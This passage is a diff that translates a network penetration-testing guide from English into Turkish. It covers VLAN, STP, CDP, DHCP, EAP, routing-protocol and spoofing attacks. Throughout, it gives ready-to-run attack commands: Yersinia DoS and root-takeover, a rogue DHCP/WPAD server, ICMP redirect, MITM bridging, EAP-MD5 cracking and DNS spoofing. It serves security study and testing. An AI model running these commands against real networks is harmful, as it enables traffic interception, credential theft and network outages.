is used to exploit the security flaw. +Saldırı, **hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresi ile birlikte olan bir paket oluşturularak** gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmesine neden olur. Bu yaklaşım, kurbanın erişebileceği bir ana bilgisayarı kontrol etme yeteneğinin güvenlik açığını istismar etmek için kullanıldığı Double Tagging Saldırıları ile benzerdir. -**Key Steps of the Attack:** +**Saldırının Ana Adımları:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **Bir Paket Oluşturma:** Hedef istemcinin IP adresini içeren ancak yönlendiricinin MAC adresi ile birlikte özel olarak hazırlanmış bir paket oluşturulur. +2. **Yönlendirici Davranışını İstismar Etme:** Hazırlanan paket, yönlendiriciye gönderilir; yapılandırma nedeniyle, paket hedef istemciye yönlendirilir ve özel VLAN ayarları tarafından sağlanan izolasyonu aşar. ### VTP Attacks -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP (VLAN Trunking Protocol), VLAN yönetimini merkezi hale getirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser. #### VTP Domain Roles -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **VTP Server:** VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar. +- **VTP Client:** VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır. +- **VTP Transparent:** VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sıfır olan sabit bir revizyon numarasını korur. #### VTP Advertisement Types -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Summary Advertisement:** VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır. +- **Subset Advertisement:** VLAN yapılandırma değişikliklerinden sonra gönderilir. +- **Advertisement Request:** Daha yüksek bir yapılandırma revizyon numarası tespit edildiğinde genellikle bir Summary Advertisement talep etmek için bir VTP istemcisi tarafından verilir. -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırısı sonrası senaryolar VTP'ye kayabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir. +Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir. ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +Yersinia'nın grafiksel modunda, VLAN veritabanını temizlemek için tüm VTP VLAN'larını silme seçeneğini seçin. -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### STP Saldırıları -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Eğer arayüzlerinizde BPDU çerçevelerini yakalayamazsanız, STP saldırısında başarılı olmanız olası değildir.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) gönderildiğinde, anahtarlar aşırı yüklenir ve düzgün çalışmayı durdurur. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **STP TCP Saldırısı** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Bir TCP gönderildiğinde, anahtarların CAM tablosu 15 saniyede silinecektir. Ardından, bu tür paketleri sürekli olarak gönderiyorsanız, CAM tablosu sürekli olarak (veya her 15 saniyede bir) yeniden başlatılacak ve yeniden başlatıldığında, anahtar bir hub gibi davranacaktır. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **STP Root Saldırısı** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +Saldırgan, ağın STP kökü olmak için bir anahtarın davranışını simüle eder. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.\ +Bu, **öncelik** değerinin gerçek kök anahtarın gerçek önceliğinden daha az olduğunu söyleyen BPDUs CONF paketleri göndererek yapılır. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Eğer saldırgan 2 anahtara bağlıysa, yeni ağacın kökü olabilir ve bu anahtarlar arasındaki tüm trafik onun üzerinden geçecektir** (bir MITM saldırısı gerçekleştirilecektir). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### CDP Saldırıları -### CDP Attacks +CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gereklidir ve onların **birbirlerini tanımlayıp yapılandırma detaylarını paylaşmalarını** sağlar. -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### Pasif Veri Toplama -#### Passive Data Collection +CDP, bilgileri tüm portlar üzerinden yayınlayacak şekilde yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir. -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### CDP Tablosu Taşkınını Tetikleme +Daha agresif bir yaklaşım, meşru CISCO cihazlarıymış gibi davranarak anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şekilde yüklenir, bu da aşırı kaynak tüketimi nedeniyle genellikle **“ağ felci”** olarak adlandırılan duruma yol açar. -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### CDP Taklit Saldırısı ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +Ayrıca [**scapy**](https://github.com/secdev/scapy/) kullanabilirsiniz. Bunu `scapy/contrib` paketi ile kurduğunuzdan emin olun. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### VoIP Saldırıları ve VoIP Hopper Aracı -### VoIP Attacks and the VoIP Hopper Tool +VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, özel telefon numaraları aracılığıyla kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir. -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +[**voiphopper**](http://voiphopper.sourceforge.net) aracı, çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokolleri kullanarak ses ağının VLAN kimliğini keşfeder. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper**, Cisco Discovery Protocol (CDP) için üç mod sunar: -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Sniff Modu** (`-c 0`): VLAN kimliğini belirlemek için ağ paketlerini analiz eder. +2. **Spoof Modu** (`-c 1`): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur. +3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeli ile aynı olan paketleri gönderir. -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir: -The preferred mode for speed is the third one. It requires specifying: +- Saldırganın ağ arayüzü (`-i` parametresi). +- Taklit edilen VoIP cihazının adı (`-E` parametresi), Cisco adlandırma formatına (örneğin, SEP ardından bir MAC adresi) uygun olmalıdır. -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunlar yapılabilir: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- Telefonda MAC etiketini kontrol edin. +- Telefonun ekran ayarlarını gezerek model bilgilerini görüntüleyin. +- VoIP cihazını bir dizüstü bilgisayara bağlayın ve Wireshark kullanarak CDP isteklerini gözlemleyin. +Üçüncü modda aracı çalıştırmak için bir örnek komut: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### DHCP Saldırıları -### DHCP Attacks - -#### Enumeration - +#### Sayım ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**DoS'un iki türü** DHCP sunucularına karşı gerçekleştirilebilir. İlk tür, **tüm olası IP adreslerini kullanmak için yeterli sahte ana bilgisayar simüle etmektir**.\ +Bu saldırı, yalnızca DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız çalışır (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Örneğin, bu **Wifi ağlarında mümkün değildir**. +DHCP DoS gerçekleştirmek için başka bir yol, **her olası IP'yi kaynak kodu olarak kullanarak bir DHCP-RELEASE paketi göndermektir**. Böylece, sunucu herkesin IP'yi kullanmayı bitirdiğini düşünecektir. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Daha otomatik bir yol, aracı [DHCPing](https://github.com/kamorin/DHCPig) kullanmaktır. -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Bahsedilen DoS saldırılarını kullanarak, istemcileri ortamda yeni kiralamalar almaya zorlayabilir ve meşru sunucuları tüketerek yanıt veremez hale getirebilirsiniz. Böylece meşru sunucular yeniden bağlanmaya çalıştığında, **bir sonraki saldırıda bahsedilen kötü niyetli değerleri sunabilirsiniz**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Kötü niyetli değerleri ayarlama -#### Set malicious values +Bir sahte DHCP sunucusu, `/usr/share/responder/DHCP.py` konumundaki DHCP betiği kullanılarak kurulabilir. Bu, trafiği kötü niyetli bir sunucuya yönlendirerek HTTP trafiğini ve kimlik bilgilerini yakalamak gibi ağ saldırıları için faydalıdır. Ancak, sahte bir ağ geçidi ayarlamak daha az etkilidir çünkü bu yalnızca istemciden çıkan trafiği yakalamaya izin verir ve gerçek ağ geçidinden gelen yanıtları kaçırır. Bunun yerine, daha etkili bir saldırı için sahte bir DNS veya WPAD sunucusu kurmak önerilir. -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +Aşağıda sahte DHCP sunucusunu yapılandırmak için komut seçenekleri bulunmaktadır: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **IP Adresimiz (Ağ Geçidi İlanı)**: Makinenizin IP'sini ağ geçidi olarak ilan etmek için `-i 10.0.0.100` kullanın. +- **Yerel DNS Alan Adı**: İsteğe bağlı olarak, yerel bir DNS alan adı ayarlamak için `-d example.org` kullanın. +- **Orijinal Yönlendirici/Ağ Geçidi IP'si**: Meşru yönlendiricinin veya ağ geçidinin IP adresini belirtmek için `-r 10.0.0.1` kullanın. +- **Birincil DNS Sunucusu IP'si**: Kontrol ettiğiniz sahte DNS sunucusunun IP adresini ayarlamak için `-p 10.0.0.100` kullanın. +- **İkincil DNS Sunucusu IP'si**: İsteğe bağlı olarak, ikincil bir DNS sunucusu IP'si ayarlamak için `-s 10.0.0.1` kullanın. +- **Yerel Ağın Alt Ağ Maskesi**: Yerel ağ için alt ağ maskesini tanımlamak için `-n 255.255.255.0` kullanın. +- **DHCP Trafiği için Arayüz**: Belirli bir ağ arayüzünde DHCP trafiğini dinlemek için `-I eth1` kullanın. +- **WPAD Yapılandırma Adresi**: Web trafiği kesintisi için WPAD yapılandırma adresini ayarlamak için `-w “http://10.0.0.100/wpad.dat”` kullanın. +- **Varsayılan Ağ Geçidi IP'sini Taklit Etme**: Varsayılan ağ geçidi IP adresini taklit etmek için `-S` ekleyin. +- **Tüm DHCP İsteklerine Yanıt Verme**: Sunucunun tüm DHCP isteklerine yanıt vermesi için `-R` ekleyin, ancak bunun gürültülü olduğunu ve tespit edilebileceğini unutmayın. +Bu seçenekleri doğru bir şekilde kullanarak, ağ trafiğini etkili bir şekilde kesmek için bir sahte DHCP sunucusu kurulabilir. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **EAP Saldırıları** -### **EAP Attacks** +802.1X uygulamalarına karşı kullanılabilecek bazı saldırı taktikleri şunlardır: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- EAP üzerinden aktif brute-force şifre kırma +- Bozulmuş EAP içeriği ile RADIUS sunucusuna saldırma _\*\*_(exploits) +- EAP mesajlarını yakalama ve çevrimdışı şifre kırma (EAP-MD5 ve PEAP) +- TLS sertifika doğrulamasını atlamak için EAP-MD5 kimlik doğrulamasını zorlamak +- Bir hub veya benzeri bir cihaz kullanarak kimlik doğrulama sırasında kötü niyetli ağ trafiği enjekte etme +Eğer saldırgan, kurban ile kimlik doğrulama sunucusu arasında ise, kimlik doğrulama protokolünü EAP-MD5'ye düşürmeyi (gerekirse) deneyebilir ve kimlik doğrulama girişimini yakalayabilir. Ardından, bunu brute-force ile kırmayı deneyebilir: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### FHRP (GLBP & HSRP) Saldırıları -### FHRP (GLBP & HSRP) Attacks +**FHRP** (First Hop Redundancy Protocol), **bir sıcak yedek yönlendirme sistemi oluşturmak** için tasarlanmış bir ağ protokolleri sınıfıdır. FHRP ile fiziksel yönlendiriciler tek bir mantıksal cihazda birleştirilebilir, bu da hata toleransını artırır ve yük dağılımına yardımcı olur. -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Cisco Systems mühendisleri iki FHRP protokolü geliştirmiştir: GLBP ve HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +Yönlendirme Bilgi Protokolü (RIP) olarak bilinen üç versiyon bulunmaktadır: RIP, RIPv2 ve RIPng. Datagramlar, RIP ve RIPv2 tarafından UDP üzerinden 520 numaralı port aracılığıyla akranlara gönderilirken, RIPng tarafından IPv6 çoklu yayını ile UDP 521 numaralı portuna yayınlanır. MD5 kimlik doğrulama desteği RIPv2 ile tanıtılmıştır. Öte yandan, RIPng tarafından yerel kimlik doğrulama dahil edilmemiştir; bunun yerine, IPv6 içindeki isteğe bağlı IPsec AH ve ESP başlıklarına güvenilmektedir. -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP ve RIPv2:** İletişim, 520 numaralı portta UDP datagramları aracılığıyla yapılır. +- **RIPng:** IPv6 çoklu yayını aracılığıyla datagramları yayınlamak için UDP 521 numaralı portunu kullanır. -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +RIPv2'nin MD5 kimlik doğrulamasını desteklediğini, ancak RIPng'nin yerel kimlik doğrulama içermediğini ve IPv6'daki IPsec AH ve ESP başlıklarına güvendiğini unutmayın. -### EIGRP Attacks +### EIGRP Saldırıları -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)**, dinamik bir yönlendirme protokolüdür. **Bu bir mesafe vektör protokolüdür.** Eğer **kimlik doğrulama** yoksa ve pasif arayüzlerin yapılandırması yapılmamışsa, bir **saldırgan** EIGRP yönlendirmesine müdahale edebilir ve **yönlendirme tablolarını zehirleyebilir**. Ayrıca, EIGRP ağı (diğer bir deyişle, otonom sistem) **düzdür ve herhangi bir bölgeye ayrılmamıştır**. Eğer bir **saldırgan bir rota enjekte ederse**, bu rotanın **otonom EIGRP sistemi boyunca yayılması** muhtemeldir. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Bir EIGRP sistemine saldırmak, **meşru bir EIGRP yönlendiricisi ile bir komşuluk kurmayı** gerektirir; bu da temel keşiften çeşitli enjekte etmelere kadar birçok olasılığı açar. -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) **BGP, OSPF, EIGRP, RIP ve diğer protokolleri destekleyen bir sanal yönlendirici uygulamanıza olanak tanır.** Tek yapmanız gereken, bunu saldırganın sistemine dağıtmak ve aslında yönlendirme alanında meşru bir yönlendirici gibi davranmaktır. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) yayınlarını yakalama yeteneklerine sahiptir. Ayrıca, yönlendirme yapılandırmalarını değiştirmek için kullanılabilecek paketlerin enjekte edilmesine de olanak tanır. ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +Open Shortest Path First (OSPF) protokolünde **MD5 kimlik doğrulaması, yönlendiriciler arasında güvenli iletişimi sağlamak için yaygın olarak kullanılır**. Ancak, bu güvenlik önlemi Loki ve John the Ripper gibi araçlar kullanılarak tehlikeye atılabilir. Bu araçlar, MD5 hash'lerini yakalayabilir ve kırabilir, böylece kimlik doğrulama anahtarını açığa çıkarabilir. Bu anahtar elde edildikten sonra, yeni yönlendirme bilgileri eklemek için kullanılabilir. Rota parametrelerini yapılandırmak ve ele geçirilmiş anahtarı belirlemek için sırasıyla _Injection_ ve _Connection_ sekmeleri kullanılır. -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **MD5 Hash'lerini Yakalama ve Kırma:** Bu amaçla Loki ve John the Ripper gibi araçlar kullanılır. +- **Rota Parametrelerini Yapılandırma:** Bu, _Injection_ sekmesi aracılığıyla yapılır. +- **Ele Geçirilmiş Anahtarı Ayarlama:** Anahtar, _Connection_ sekmesi altında yapılandırılır. -### Other Generic Tools & Sources +### Diğer Genel Araçlar ve Kaynaklar -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): Ağ trafiğini taramak ve güvenlik açıklarını bulmak için bir araç +- Ağ saldırıları hakkında **daha fazla bilgi** [**burada**](https://github.com/Sab0tag3d/MITM-cheatsheet) bulabilirsiniz. -## **Spoofing** - -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. +## **Sahtecilik** +Saldırgan, sahte DHCP yanıtları göndererek ağın yeni üyesinin tüm ağ parametrelerini (GW, IP, DNS) yapılandırır. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +[önceki bölüm](./#arp-spoofing) kontrol edin. ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirect, bir IP'ye ulaşmanın en iyi yolunun saldırgan olduğunu belirten ICMP paket türü 1 kod 5 göndermeyi içerir. Ardından, kurban IP ile iletişim kurmak istediğinde, paketi saldırgan üzerinden gönderecektir. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +Saldırgan, kurbanın talep ettiği bazı (veya tüm) alan adlarını çözecektir. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**dnsmasq ile kendi DNS'inizi yapılandırın** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Yerel Ağ Geçitleri -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +Sistemlere ve ağlara genellikle birden fazla yol vardır. Yerel ağ içindeki MAC adreslerinin bir listesini oluşturduktan sonra, IPv4 yönlendirmesini destekleyen ana bilgisayarları tanımlamak için _gateway-finder.py_ kullanın. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [LLMNR, NBT-NS ve mDNS Spoofing](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +DNS sorguları başarısız olduğunda yerel ana bilgisayar çözümü için Microsoft sistemleri **Link-Local Multicast Name Resolution (LLMNR)** ve **NetBIOS Name Service (NBT-NS)**'ye dayanır. Benzer şekilde, **Apple Bonjour** ve **Linux sıfır yapılandırma** uygulamaları, bir ağ içindeki sistemleri keşfetmek için **Multicast DNS (mDNS)** kullanır. Bu protokollerin kimlik doğrulama gerektirmeyen doğası ve UDP üzerinden çalışmaları, mesajları yayınlayarak, kullanıcıları kötü niyetli hizmetlere yönlendirmeyi amaçlayan saldırganlar tarafından istismar edilebilir. -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, 